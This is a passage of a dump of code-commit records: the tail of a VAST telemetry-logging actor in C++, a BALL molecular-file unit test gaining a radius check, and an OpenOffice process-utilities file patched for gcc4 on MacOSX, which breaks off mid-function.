accountant_type::stateful_base<accountant_state>;\nconstexpr std::chrono::seconds overview_delay(3);\n\nvoid init(accountant_actor* self, const path& filename) {\n if (!exists(filename.parent())) {\n auto t = mkdir(filename.parent());\n if (!t) {\n VAST_ERROR(self, to_string(t.error()));\n self->quit(t.error());\n return;\n }\n }\n VAST_DEBUG(self, \"opens log file:\", filename.trim(-4));\n auto& file = self->state.file;\n file.open(filename.str());\n if (!file.is_open()) {\n VAST_ERROR(self, \"failed to open file:\", filename);\n auto e = make_error(ec::filesystem_error, \"failed to open file:\", filename);\n self->quit(e);\n return;\n }\n file << \"timestamp\\tnode\\taid\\tactor_name\\tkey\\tvalue\\n\";\n if (!file)\n self->quit(make_error(ec::filesystem_error));\n VAST_DEBUG(self, \"kicks off flush loop\");\n self->send(self, flush_atom::value);\n#if VAST_LOG_LEVEL >= CAF_LOG_LEVEL_INFO\n self->delayed_send(self, overview_delay, telemetry_atom::value);\n#endif\n}\n\ntemplate <class T>\nvoid record(accountant_actor* self, const std::string& key, T x,\n time ts = std::chrono::system_clock::now()) {\n using namespace std::chrono;\n auto aid = self->current_sender()->id();\n auto node = self->current_sender()->node();\n auto& st = self->state;\n st.file << to_string(ts) << '\\t' << to_string(node) << '\\t';\n st.file << std::dec << aid << '\\t' << st.actor_map[aid] << '\\t' << key << '\\t'\n << std::setprecision(6) << x << '\\n';\n \/\/ Flush after at most 10 seconds.\n if (!st.flush_pending) {\n st.flush_pending = true;\n self->delayed_send(self, 10s, flush_atom::value);\n }\n}\n\nvoid record(accountant_actor* self, const std::string& key, duration x,\n time ts = std::chrono::system_clock::now()) {\n using namespace std::chrono;\n auto us = duration_cast<microseconds>(x).count();\n record(self, key, us, std::move(ts));\n}\n\nvoid record(accountant_actor* self, const std::string& key, time x,\n time ts = std::chrono::system_clock::now()) {\n record(self, key, x.time_since_epoch(), std::move(ts));\n}\n\n\/\/ Calculate rate in seconds resolution from nanosecond duration.\ndouble calc_rate(const measurement& m) {\n if (m.duration.count() > 0)\n return m.events * 1'000'000'000 \/ m.duration.count();\n else\n return std::numeric_limits<double>::quiet_NaN();\n}\n\n} \/\/ namespace <anonymous>\n\naccountant_state::accountant_state(accountant_actor* self) : self{self} {\n \/\/ nop\n}\n\nvoid accountant_state::command_line_heartbeat() {\n auto logger = caf::logger::current_logger();\n if (logger && logger->verbosity() >= CAF_LOG_LEVEL_INFO\n && accumulator.node.events > 0) {\n std::ostringstream oss;\n try {\n oss.imbue(std::locale(\"\"));\n } catch (const std::exception& e) {\n VAST_DEBUG(self,\n \"failed to set the locale for statistics output:\", e.what());\n }\n auto node_rate = std::round(calc_rate(accumulator.node));\n oss << \"ingested \" << accumulator.node.events << \" events at a rate of \"\n << node_rate << \" events\/sec\";\n VAST_INFO_ANON(oss.str());\n }\n accumulator = {};\n}\n\naccountant_type::behavior_type accountant(accountant_actor* self,\n const path& filename) {\n using namespace std::chrono;\n init(self, filename);\n self->set_exit_handler(\n [=](const caf::exit_msg& msg) {\n self->state.file.flush();\n self->quit(msg.reason);\n }\n );\n self->set_down_handler(\n [=](const caf::down_msg& msg) {\n VAST_DEBUG(self, \"received DOWN from\", msg.source);\n self->state.actor_map.erase(msg.source.id());\n }\n );\n return {[=](announce_atom, const std::string& name) {\n self->state.actor_map[self->current_sender()->id()] = name;\n self->monitor(self->current_sender());\n },\n [=](const std::string& key, const std::string& value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n \/\/ Helpers to avoid to_string(..) in sender context.\n [=](const std::string& key, duration value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, time value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, int64_t value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, uint64_t value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, double value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const report& r) {\n VAST_TRACE(self, \"received a report from\", self->current_sender());\n time ts = std::chrono::system_clock::now();\n for (const auto& [key, value] : r) {\n auto f = [&, key = key](const auto& x) {\n record(self, key, x, ts);\n };\n caf::visit(f, value);\n }\n },\n [=](const performance_report& r) {\n VAST_TRACE(self, \"received a performance report from\",\n self->current_sender());\n time ts = std::chrono::system_clock::now();\n for (const auto& [key, value] : r) {\n record(self, key + \".events\", value.events, ts);\n record(self, key + \".duration\", value.duration, ts);\n auto rate = calc_rate(value);\n if (std::isfinite(rate))\n record(self, key + \".rate\", static_cast<uint64_t>(rate), ts);\n else\n record(self, key + \".rate\", \"NaN\", ts);\n#if VAST_LOG_LEVEL >= CAF_LOG_LEVEL_INFO\n auto logger = caf::logger::current_logger();\n if (logger && logger->verbosity() >= CAF_LOG_LEVEL_INFO)\n if (key == \"node_throughput\")\n self->state.accumulator.node += value;\n#endif\n }\n },\n [=](flush_atom) {\n if (self->state.file)\n self->state.file.flush();\n self->state.flush_pending = false;\n },\n [=](status_atom) {\n using caf::put_dictionary;\n caf::dictionary<caf::config_value> result;\n result.emplace(\"log-file\", filename.str());\n auto& known = put_dictionary(result, \"known-actors\");\n for (const auto& [aid, name] : self->state.actor_map)\n known.emplace(name, aid);\n detail::fill_status_map(result, self);\n return result;\n },\n [=](telemetry_atom) {\n self->state.command_line_heartbeat();\n self->delayed_send(self, overview_delay, telemetry_atom::value);\n }};\n}\n\n} \/\/ namespace system\n} \/\/ namespace vast\n<|endoftext|>"} {"text":"<commit_before>\/\/ $Id: HINFile_test.C,v 1.8 2001\/05\/06 21:11:13 oliver Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <BALL\/FORMAT\/HINFile.h>\n#include <BALL\/KERNEL\/system.h>\n#include <BALL\/KERNEL\/PTE.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(HINFile, \"$Id: HINFile_test.C,v 1.8 2001\/05\/06 21:11:13 oliver Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\n\nHINFile* ptr;\n\nCHECK(HINFile::HINFile())\n\tptr = new HINFile;\n\tTEST_NOT_EQUAL(ptr, 0)\nRESULT\n\n\nCHECK(HINFile::~HINFile())\n delete ptr;\nRESULT\n\nHINFile hin;\n\nCHECK(HINFile::HINFile(const String& filename, File::OpenMode open_mode = File::IN))\n hin = HINFile(\"data\/HINFile_test.hin\");\n TEST_EQUAL(hin.isValid(), true)\nRESULT\n\nSystem system;\nCHECK(HINFile::read(System& system))\n hin.read(system);\n\thin.reopen();\n\tVector3 position(0.59038, -0.410275, -0.860515);\n TEST_EQUAL(hin.isValid(), true)\n TEST_EQUAL(system.countAtoms(), 648)\n TEST_EQUAL(system.countMolecules(), 216)\n\tTEST_EQUAL(system.getAtom(0)->getName(), \"O\")\n TEST_EQUAL(system.getAtom(0)->getElement(), PTE[\"O\"])\n\tTEST_REAL_EQUAL(system.getAtom(0)->getCharge(), -0.834)\n TEST_EQUAL(system.getAtom(0)->getPosition(), position)\n TEST_NOT_EQUAL(system.getAtom(0)->getRadius(), 0.0)\n TEST_EQUAL(system.getAtom(0)->countBonds(), 2) \nRESULT\n\nCHECK(HINFile::write(const System& system))\n String filename;\n NEW_TMP_FILE(filename)\n HINFile hin2(filename, std::ios::out);\n\thin2.write(system);\n TEST_FILE(\"data\/HINFile_test2.hin\", filename.c_str(), false)\nRESULT\n\nCHECK(HINFile::HINFile& operator >> (System& system))\n\tSystem system2;\n hin >> system2;\n\tTEST_EQUAL(system.countAtoms(), system2.countAtoms())\nRESULT\n\n\nCHECK(HINFile::HINFile& operator << (const System& system))\n String filename;\n NEW_TMP_FILE(filename)\n HINFile hin2(filename, std::ios::out);\n hin2 << system;\n TEST_FILE(\"data\/HINFile_test2.hin\", filename.c_str(), false)\nRESULT\n\n\nCHECK(HINFile::hasPeriodicBoundary() const )\n\tTEST_EQUAL(hin.hasPeriodicBoundary(), true)\nRESULT\n\n\nCHECK(HINFile::getPeriodicBoundary() const )\n\tBox3 box3(-9.35068, -9.35068, -9.35068, 9.35068, 9.35068, 9.35068);\n\tTEST_EQUAL(hin.getPeriodicBoundary(), box3)\nRESULT\n\n\nCHECK(HINFile::getTemperature() const )\n \/\/BAUSTELLE\nRESULT\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<commit_msg>added: in test for read now testing radius<commit_after>\/\/ $Id: HINFile_test.C,v 1.9 2001\/05\/10 22:16:47 amoll Exp $\n#include <BALL\/CONCEPT\/classTest.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <BALL\/FORMAT\/HINFile.h>\n#include <BALL\/KERNEL\/system.h>\n#include <BALL\/KERNEL\/PTE.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSTART_TEST(HINFile, \"$Id: HINFile_test.C,v 1.9 2001\/05\/10 22:16:47 amoll Exp $\")\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nusing namespace BALL;\n\nHINFile* ptr;\n\nCHECK(HINFile::HINFile())\n\tptr = new HINFile;\n\tTEST_NOT_EQUAL(ptr, 0)\nRESULT\n\n\nCHECK(HINFile::~HINFile())\n delete ptr;\nRESULT\n\nHINFile hin;\n\nCHECK(HINFile::HINFile(const String& filename, File::OpenMode open_mode = File::IN))\n hin = HINFile(\"data\/HINFile_test.hin\");\n TEST_EQUAL(hin.isValid(), true)\nRESULT\n\nSystem system;\nCHECK(HINFile::read(System& system))\n hin.read(system);\n\thin.reopen();\n\tVector3 position(0.59038, -0.410275, -0.860515);\n TEST_EQUAL(hin.isValid(), true)\n TEST_EQUAL(system.countAtoms(), 648)\n TEST_EQUAL(system.countMolecules(), 216)\n\tTEST_EQUAL(system.getAtom(0)->getName(), \"O\")\n TEST_EQUAL(system.getAtom(0)->getElement(), PTE[\"O\"])\n\tTEST_REAL_EQUAL(system.getAtom(0)->getCharge(), -0.834)\n TEST_EQUAL(system.getAtom(0)->getPosition(), position)\n TEST_REAL_EQUAL(system.getAtom(0)->getRadius(), 1.4)\n TEST_EQUAL(system.getAtom(0)->countBonds(), 2) \n\n TEST_NOT_EQUAL(system.getAtom(1)->getRadius(), 0)\nRESULT\n\nCHECK(HINFile::write(const System& system))\n String filename;\n NEW_TMP_FILE(filename)\n HINFile hin2(filename, std::ios::out);\n\thin2.write(system);\n TEST_FILE(\"data\/HINFile_test2.hin\", filename.c_str(), false)\nRESULT\n\nCHECK(HINFile::HINFile& operator >> (System& system))\n\tSystem system2;\n hin >> system2;\n\tTEST_EQUAL(system.countAtoms(), system2.countAtoms())\nRESULT\n\n\nCHECK(HINFile::HINFile& operator << (const System& system))\n String filename;\n NEW_TMP_FILE(filename)\n HINFile hin2(filename, std::ios::out);\n hin2 << system;\n TEST_FILE(\"data\/HINFile_test2.hin\", filename.c_str(), false)\nRESULT\n\n\nCHECK(HINFile::hasPeriodicBoundary() const )\n\tTEST_EQUAL(hin.hasPeriodicBoundary(), true)\nRESULT\n\n\nCHECK(HINFile::getPeriodicBoundary() const )\n\tBox3 box3(-9.35068, -9.35068, -9.35068, 9.35068, 9.35068, 9.35068);\n\tTEST_EQUAL(hin.getPeriodicBoundary(), box3)\nRESULT\n\n\nCHECK(HINFile::getTemperature() const )\n \/\/BAUSTELLE\nRESULT\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: process_impl.cxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 14:59:24 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#include \"osl\/process.h\"\n\n#ifndef INCLUDED_LIMITS_H\n#include <limits.h>\n#define INCLUDED_LIMITS_H\n#endif\n\n#ifndef INCLUDED_PTHREAD_H\n#include <pthread.h>\n#define INCLUDED_PTHREAD_H\n#endif\n\n#ifndef INCLUDED_STDLIB_H\n#include <stdlib.h>\n#define INCLUDED_STDLIB_H\n#endif\n\n#ifndef INCLUDED_STRING_H\n#include <string.h>\n#define INCLUDED_STRING_H\n#endif\n\n#ifndef _OSL_DIAGNOSE_H_\n#include \"osl\/diagnose.h\"\n#endif\n\n#ifndef _OSL_FILE_H_\n#include <osl\/file.h>\n#endif\n\n#ifndef _OSL_MODULE_H_\n#include \"osl\/module.h\"\n#endif\n\n#ifndef _OSL_THREAD_H_\n#include \"osl\/thread.h\"\n#endif\n\n#ifndef _RTL_USTRING_HXX_\n#include \"rtl\/ustring.hxx\"\n#endif\n\n#ifndef _OSL_FILE_PATH_HELPER_H_\n#include \"file_path_helper.h\"\n#endif\n\n#ifndef _OSL_UUNXAPI_H_\n#include \"uunxapi.h\"\n#endif\n\n\/***************************************\n osl_bootstrap_getExecutableFile_Impl().\n\n @internal\n @see rtl_bootstrap\n @see #i37371#\n\n **************************************\/\n\nextern \"C\" oslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl (\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C();\n\n\n#if defined(MACOSX)\n#include <mach-o\/dyld.h>\n\noslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl (\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C()\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n char buffer[PATH_MAX];\n size_t buflen = sizeof(buffer);\n\n if (_NSGetExecutablePath (buffer, &buflen) == 0)\n {\n \/* Determine absolute path. *\/\n char abspath[PATH_MAX];\n if (realpath (buffer, abspath) != 0)\n {\n \/* Convert from utf8 to unicode. *\/\n rtl_uString * pAbsPath = 0;\n rtl_string2UString (\n &(pAbsPath),\n abspath, rtl_str_getLength (abspath),\n RTL_TEXTENCODING_UTF8,\n OSTRING_TO_OUSTRING_CVTFLAGS);\n\n if (pAbsPath)\n {\n \/* Convert from path to url. *\/\n if (osl_getFileURLFromSystemPath (pAbsPath, ppFileURL) == osl_File_E_None)\n {\n \/* Success. *\/\n result = osl_Process_E_None;\n }\n rtl_uString_release (pAbsPath);\n }\n }\n }\n\n return (result);\n}\n\n#elif !defined(NO_DL_FUNCTIONS)\n#include <dlfcn.h>\n\noslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl (\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C()\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n \/* Determine address of \"main()\" function. *\/\n void * addr = dlsym (RTLD_DEFAULT, \"main\");\n if (addr != 0)\n {\n \/* Determine module URL. *\/\n if (osl_getModuleURLFromAddress (addr, ppFileURL))\n {\n \/* Success. *\/\n result = osl_Process_E_None;\n }\n }\n\n return (result);\n}\n\n#else \/* NO_DL_FUNCTIONS *\/\n\noslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl (\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C()\n{\n \/* Fallback to ordinary osl_getExecutableFile(). *\/\n return osl_getExecutableFile (ppFileURL);\n}\n\n#endif \/* NO_DL_FUNCTIONS *\/\n\n\/***************************************\n CommandArgs_Impl.\n **************************************\/\nstruct CommandArgs_Impl\n{\n pthread_mutex_t m_mutex;\n sal_uInt32 m_nCount;\n rtl_uString ** m_ppArgs;\n};\n\nstatic struct CommandArgs_Impl g_command_args =\n{\n PTHREAD_MUTEX_INITIALIZER,\n 0,\n 0\n};\n\n\/***************************************\n osl_getExecutableFile().\n **************************************\/\noslProcessError SAL_CALL osl_getExecutableFile (rtl_uString ** ppustrFile)\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n pthread_mutex_lock (&(g_command_args.m_mutex));\n if (g_command_args.m_nCount > 0)\n {\n \/* CommandArgs set. Obtain argv[0]. *\/\n rtl_uString_assign (ppustrFile, g_command_args.m_ppArgs[0]);\n result = osl_Process_E_None;\n }\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n\n return (result);\n}\n\n\/***************************************\n osl_getCommandArgCount().\n **************************************\/\nsal_uInt32 SAL_CALL osl_getCommandArgCount (void)\n{\n sal_uInt32 result = 0;\n\n pthread_mutex_lock (&(g_command_args.m_mutex));\n if (g_command_args.m_nCount > 0)\n result = g_command_args.m_nCount - 1;\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n\n return (result);\n}\n\n\/***************************************\n osl_getCommandArg().\n **************************************\/\noslProcessError SAL_CALL osl_getCommandArg (sal_uInt32 nArg, rtl_uString ** strCommandArg)\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n pthread_mutex_lock (&(g_command_args.m_mutex));\n if (g_command_args.m_nCount > (nArg + 1))\n {\n rtl_uString_assign (strCommandArg, g_command_args.m_ppArgs[nArg + 1]);\n result = osl_Process_E_None;\n }\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n\n return (result);\n}\n\n\/***************************************\n osl_setCommandArgs().\n **************************************\/\nvoid SAL_CALL osl_setCommandArgs (int argc, char ** argv)\n{\n pthread_mutex_lock (&(g_command_args.m_mutex));\n OSL_ENSURE (g_command_args.m_nCount == 0, \"osl_setCommandArgs(): CommandArgs already set.\");\n if (g_command_args.m_nCount == 0)\n {\n rtl_uString** ppArgs = (rtl_uString**)rtl_allocateZeroMemory (argc * sizeof(rtl_uString*));\n if (ppArgs != 0)\n {\n rtl_TextEncoding encoding = osl_getThreadTextEncoding();\n for (int i = 0; i < argc; i++)\n {\n rtl_string2UString (\n &(ppArgs[i]),\n argv[i], rtl_str_getLength (argv[i]), encoding,\n OSTRING_TO_OUSTRING_CVTFLAGS);\n }\n if (ppArgs[0] != 0)\n {\n \/* see @ osl_getExecutableFile(). *\/\n if (rtl_ustr_indexOfChar (rtl_uString_getStr(ppArgs[0]), sal_Unicode('\/')) == -1)\n {\n const rtl::OUString PATH (RTL_CONSTASCII_USTRINGPARAM(\"PATH\"));\n\n rtl_uString * pSearchPath = 0;\n osl_getEnvironment (PATH.pData, &pSearchPath);\n if (pSearchPath)\n {\n rtl_uString * pSearchResult = 0;\n osl_searchPath (ppArgs[0], pSearchPath, &pSearchResult);\n if (pSearchResult)\n {\n rtl_uString_assign (&(ppArgs[0]), pSearchResult);\n rtl_uString_release (pSearchResult);\n }\n rtl_uString_release (pSearchPath);\n }\n }\n\n rtl_uString * pArg0 = 0;\n if (realpath_u (ppArgs[0], &pArg0))\n {\n osl_getFileURLFromSystemPath (pArg0, &(ppArgs[0]));\n rtl_uString_release (pArg0);\n }\n }\n g_command_args.m_nCount = argc;\n g_command_args.m_ppArgs = ppArgs;\n }\n }\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n}\n\n\/***************************************\n osl_getEnvironment().\n **************************************\/\noslProcessError SAL_CALL osl_getEnvironment(rtl_uString* pustrEnvVar, rtl_uString** ppustrValue)\n{\n oslProcessError result = osl_Process_E_NotFound;\n rtl_TextEncoding encoding = osl_getThreadTextEncoding();\n rtl_String* pstr_env_var = 0;\n\n OSL_PRECOND(pustrEnvVar, \"osl_getEnvironment(): Invalid parameter\");\n OSL_PRECOND(ppustrValue, \"osl_getEnvironment(): Invalid parameter\");\n\n rtl_uString2String(\n &pstr_env_var,\n rtl_uString_getStr(pustrEnvVar), rtl_uString_getLength(pustrEnvVar), encoding,\n OUSTRING_TO_OSTRING_CVTFLAGS);\n if (pstr_env_var != 0)\n {\n const char* p_env_var = getenv (rtl_string_getStr (pstr_env_var));\n if (p_env_var != 0)\n {\n rtl_string2UString(\n ppustrValue,\n p_env_var, strlen(p_env_var), encoding,\n OSTRING_TO_OUSTRING_CVTFLAGS);\n OSL_ASSERT(*ppustrValue != NULL);\n\n result = osl_Process_E_None;\n }\n rtl_string_release(pstr_env_var);\n }\n\n return (result);\n}\n\n\/***************************************\n osl_getProcessWorkingDir().\n **************************************\/\noslProcessError SAL_CALL osl_getProcessWorkingDir(rtl_uString **ppustrWorkingDir)\n{\n oslProcessError result = osl_Process_E_Unknown;\n char buffer[PATH_MAX];\n\n OSL_PRECOND(ppustrWorkingDir, \"osl_getProcessWorkingDir(): Invalid parameter\");\n\n if (getcwd (buffer, sizeof(buffer)) != 0)\n {\n rtl_uString* ustrTmp = 0;\n\n rtl_string2UString(\n &ustrTmp,\n buffer, strlen(buffer), osl_getThreadTextEncoding(),\n OSTRING_TO_OUSTRING_CVTFLAGS);\n if (ustrTmp != 0)\n {\n if (osl_getFileURLFromSystemPath (ustrTmp, ppustrWorkingDir) == osl_File_E_None)\n result = osl_Process_E_None;\n rtl_uString_release (ustrTmp);\n }\n }\n\n return (result);\n}\n\n\/******************************************************************************\n *\n * new functions to set\/return the current process locale\n *\n *****************************************************************************\/\n\nstruct ProcessLocale_Impl\n{\n pthread_mutex_t m_mutex;\n rtl_Locale * m_pLocale;\n};\n\nstatic struct ProcessLocale_Impl g_process_locale =\n{\n PTHREAD_MUTEX_INITIALIZER,\n 0\n};\n\nextern \"C\" void _imp_getProcessLocale( rtl_Locale ** );\nextern \"C\" int _imp_setProcessLocale( rtl_Locale * );\n\n\/**********************************************\n osl_getProcessLocale().\n *********************************************\/\noslProcessError SAL_CALL osl_getProcessLocale( rtl_Locale ** ppLocale )\n{\n OSL_PRECOND(ppLocale, \"osl_getProcessLocale(): Invalid parameter.\");\n\n pthread_mutex_lock(&(g_process_locale.m_mutex));\n\n if (g_process_locale.m_pLocale == 0)\n _imp_getProcessLocale (&(g_process_locale.m_pLocale));\n *ppLocale = g_process_locale.m_pLocale;\n\n pthread_mutex_unlock (&(g_process_locale.m_mutex));\n\n return (osl_Process_E_None);\n}\n\n\/**********************************************\n osl_setProcessLocale().\n *********************************************\/\noslProcessError SAL_CALL osl_setProcessLocale( rtl_Locale * pLocale )\n{\n oslProcessError result = osl_Process_E_Unknown;\n\n OSL_PRECOND(pLocale, \"osl_setProcessLocale(): Invalid parameter.\");\n\n pthread_mutex_lock(&(g_process_locale.m_mutex));\n if (_imp_setProcessLocale (pLocale) == 0)\n {\n g_process_locale.m_pLocale = pLocale;\n result = osl_Process_E_None;\n }\n pthread_mutex_unlock (&(g_process_locale.m_mutex));\n\n return (result);\n}\n<commit_msg>INTEGRATION: CWS macosxgcc4 (1.8.64); FILE MERGED 2005\/09\/20 03:34:38 fheckl 1.8.64.2: RESYNC: (1.8-1.9); FILE MERGED 2005\/09\/19 19:39:21 fheckl 1.8.64.1: Adding some casts necessary for compilation to succeed with gcc4 on MacOSX (i49046)<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: process_impl.cxx,v $\n *\n * $Revision: 1.10 $\n *\n * last change: $Author: rt $ $Date: 2005-10-17 14:25:34 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#include \"osl\/process.h\"\n\n#ifndef INCLUDED_LIMITS_H\n#include <limits.h>\n#define INCLUDED_LIMITS_H\n#endif\n\n#ifndef INCLUDED_PTHREAD_H\n#include <pthread.h>\n#define INCLUDED_PTHREAD_H\n#endif\n\n#ifndef INCLUDED_STDLIB_H\n#include <stdlib.h>\n#define INCLUDED_STDLIB_H\n#endif\n\n#ifndef INCLUDED_STRING_H\n#include <string.h>\n#define INCLUDED_STRING_H\n#endif\n\n#ifndef _OSL_DIAGNOSE_H_\n#include \"osl\/diagnose.h\"\n#endif\n\n#ifndef _OSL_FILE_H_\n#include <osl\/file.h>\n#endif\n\n#ifndef _OSL_MODULE_H_\n#include \"osl\/module.h\"\n#endif\n\n#ifndef _OSL_THREAD_H_\n#include \"osl\/thread.h\"\n#endif\n\n#ifndef _RTL_USTRING_HXX_\n#include \"rtl\/ustring.hxx\"\n#endif\n\n#ifndef _OSL_FILE_PATH_HELPER_H_\n#include \"file_path_helper.h\"\n#endif\n\n#ifndef _OSL_UUNXAPI_H_\n#include \"uunxapi.h\"\n#endif\n\n\/***************************************\n osl_bootstrap_getExecutableFile_Impl().\n\n @internal\n @see rtl_bootstrap\n @see #i37371#\n\n **************************************\/\n\nextern \"C\" oslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl (\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C();\n\n\n#if defined(MACOSX)\n#include <mach-o\/dyld.h>\n\noslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl (\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C()\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n char buffer[PATH_MAX];\n size_t buflen = sizeof(buffer);\n\n#if __GNUC__ >= 4 && defined(MACOSX)\n if (_NSGetExecutablePath (buffer, (uint32_t*)&buflen) == 0)\n#else\n if (_NSGetExecutablePath (buffer, &buflen) == 0)\n#endif\n {\n \/* Determine absolute path. *\/\n char abspath[PATH_MAX];\n if (realpath (buffer, abspath) != 0)\n {\n \/* Convert from utf8 to unicode. *\/\n rtl_uString * pAbsPath = 0;\n rtl_string2UString (\n &(pAbsPath),\n abspath, rtl_str_getLength (abspath),\n RTL_TEXTENCODING_UTF8,\n OSTRING_TO_OUSTRING_CVTFLAGS);\n\n if (pAbsPath)\n {\n \/* Convert from path to url. *\/\n if (osl_getFileURLFromSystemPath (pAbsPath, ppFileURL) == osl_File_E_None)\n {\n \/* Success. *\/\n result = osl_Process_E_None;\n }\n rtl_uString_release (pAbsPath);\n }\n }\n }\n\n return (result);\n}\n\n#elif !defined(NO_DL_FUNCTIONS)\n#include <dlfcn.h>\n\noslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl (\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C()\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n \/* Determine address of \"main()\" function. *\/\n void * addr = dlsym (RTLD_DEFAULT, \"main\");\n if (addr != 0)\n {\n \/* Determine module URL. *\/\n if (osl_getModuleURLFromAddress (addr, ppFileURL))\n {\n \/* Success. *\/\n result = osl_Process_E_None;\n }\n }\n\n return (result);\n}\n\n#else \/* NO_DL_FUNCTIONS *\/\n\noslProcessError SAL_CALL osl_bootstrap_getExecutableFile_Impl 